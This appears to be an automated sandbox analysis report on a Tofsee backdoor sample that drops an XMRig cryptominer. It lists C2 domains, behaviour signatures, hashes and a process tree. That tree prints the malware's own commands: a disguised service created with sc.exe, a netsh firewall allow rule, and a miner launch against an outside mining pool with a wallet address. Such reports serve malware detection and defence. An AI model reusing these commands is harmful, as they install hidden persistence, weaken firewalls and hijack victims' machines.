Analysis

  • max time kernel
    143s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09/01/2023, 07:14

General

  • Target
    file.exe
  • Size 354KB
  • Sample230109-h2m98agh4x
  • SHA256 8038d644a3b5373a0cdbdd0ea8b64cd3e71207b8ae497bc2af10a57f6860ef75
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3432
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\hmeltgic\
      2⤵
        PID:1952
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ujxuntps.exe" C:\Windows\SysWOW64\hmeltgic\
        2⤵
          PID:2784
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create hmeltgic binPath= "C:\Windows\SysWOW64\hmeltgic\ujxuntps.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1616
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description hmeltgic "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:3832
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start hmeltgic
          2⤵
          • Launches sc.exe
          PID:364
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:240
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3432 -s 640
          2⤵
          • Program crash
          PID:2236
      • C:\Windows\SysWOW64\hmeltgic\ujxuntps.exe
        C:\Windows\SysWOW64\hmeltgic\ujxuntps.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:980
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4024
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2864
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 980 -s 536
          2⤵
          • Program crash
          PID:4932
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 3432 -ip 3432
        1⤵
          PID:728
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 980 -ip 980
          1⤵
            PID:1176

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                ujxuntps.exe

                • Path C:\Users\Admin\AppData\Local\Temp\ujxuntps.exe
                • Size 10.7MB
                • SHA256 af02fe6e9e043a689ef9bb04f755b2f4793467b2d001b7f3c09cebcede7c96eb
                • MD5 SHA1 SHA512 SSDEEP

                ujxuntps.exe

                • Path C:\Windows\SysWOW64\hmeltgic\ujxuntps.exe
                • Size 10.7MB
                • SHA256 af02fe6e9e043a689ef9bb04f755b2f4793467b2d001b7f3c09cebcede7c96eb
                • MD5 SHA1 SHA512 SSDEEP

                memory/980-150-0x0000000000400000-0x000000000301B000-memory.dmp

                memory/980-149-0x0000000003219000-0x000000000322E000-memory.dmp

                memory/2864-177-0x0000000000C00000-0x0000000000CF1000-memory.dmp

                memory/2864-172-0x0000000000C00000-0x0000000000CF1000-memory.dmp

                memory/3432-143-0x000000000323D000-0x0000000003253000-memory.dmp

                memory/3432-144-0x0000000000400000-0x000000000301B000-memory.dmp

                memory/3432-132-0x000000000323D000-0x0000000003253000-memory.dmp

                memory/3432-134-0x0000000000400000-0x000000000301B000-memory.dmp

                memory/3432-133-0x0000000003170000-0x0000000003183000-memory.dmp

                memory/4024-146-0x0000000000C80000-0x0000000000C95000-memory.dmp

                memory/4024-153-0x0000000002800000-0x0000000002A0F000-memory.dmp

                memory/4024-156-0x0000000001FF0000-0x0000000001FF6000-memory.dmp

                memory/4024-159-0x0000000002B10000-0x0000000002B20000-memory.dmp

                memory/4024-162-0x0000000006EC0000-0x0000000006EC5000-memory.dmp

                memory/4024-165-0x0000000007840000-0x0000000007C4B000-memory.dmp

                memory/4024-168-0x0000000006ED0000-0x0000000006ED7000-memory.dmp

                memory/4024-152-0x0000000000C80000-0x0000000000C95000-memory.dmp

                memory/4024-151-0x0000000000C80000-0x0000000000C95000-memory.dmp